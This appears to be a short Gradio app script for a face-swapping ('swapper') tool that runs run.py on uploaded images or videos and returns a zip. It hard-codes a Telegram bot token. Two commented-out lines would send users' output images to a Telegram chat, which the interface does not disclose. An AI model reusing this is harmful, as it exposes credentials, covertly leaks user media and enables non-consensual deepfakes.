File size: 1,552 Bytes
21f0a5b 52dcdf4 690d07e 91a4856 62fd57e 21f0a5b 690d07e 21f0a5b 16c68ef 91a4856 16c68ef 92b2d0f 8c405bb 52dcdf4 3ec3d92 21f0a5b 16c68ef e4693e8 6c2d348 91a4856 715a779 91a4856 21f0a5b 16c68ef 35e2e09 21f0a5b 35e2e09 0c93b15 21f0a5b |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
import gradio as gr
import subprocess
import shutil
import os
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import telebot
import zipfile
from pathlib import Path
# Initialize Telegram bot
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
def run_scripts(target, source, use_face_enhancer):
outputfile=[]
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
zipf=zipfile.ZipFile(zip_filename, "w")
for target_file in target :
target_extension = os.path.splitext(target_file.name)[-1]
target_name = os.path.splitext(target_file.name)[1]
timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
output_path1 = "output" + timestamp + target_extension
cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
subprocess.run(cmd1)
outputfile.append(output_path1)
print(os.path.abspath(output_path1))
#print(source)
#bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
zipf.write(output_path1)
#bot.send_photo("-4283513911", photo=open(outputfile, 'rb'))
return zip_filename
#return outputfile
iface = gr.Interface(
fn=run_scripts,
inputs=[
"files",
"file"
],
outputs=["files"],
title="swapper",
description="Upload a target image/video and a source image .",
live=False
)
iface.launch()
|